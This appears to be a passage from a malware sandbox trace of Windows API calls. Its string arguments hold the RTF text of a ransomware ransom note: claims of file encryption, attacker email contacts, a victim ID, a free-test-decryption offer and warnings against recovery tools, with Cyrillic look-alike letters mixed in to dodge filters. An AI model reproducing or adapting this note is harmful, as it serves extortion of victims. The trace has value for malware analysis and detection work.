\\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 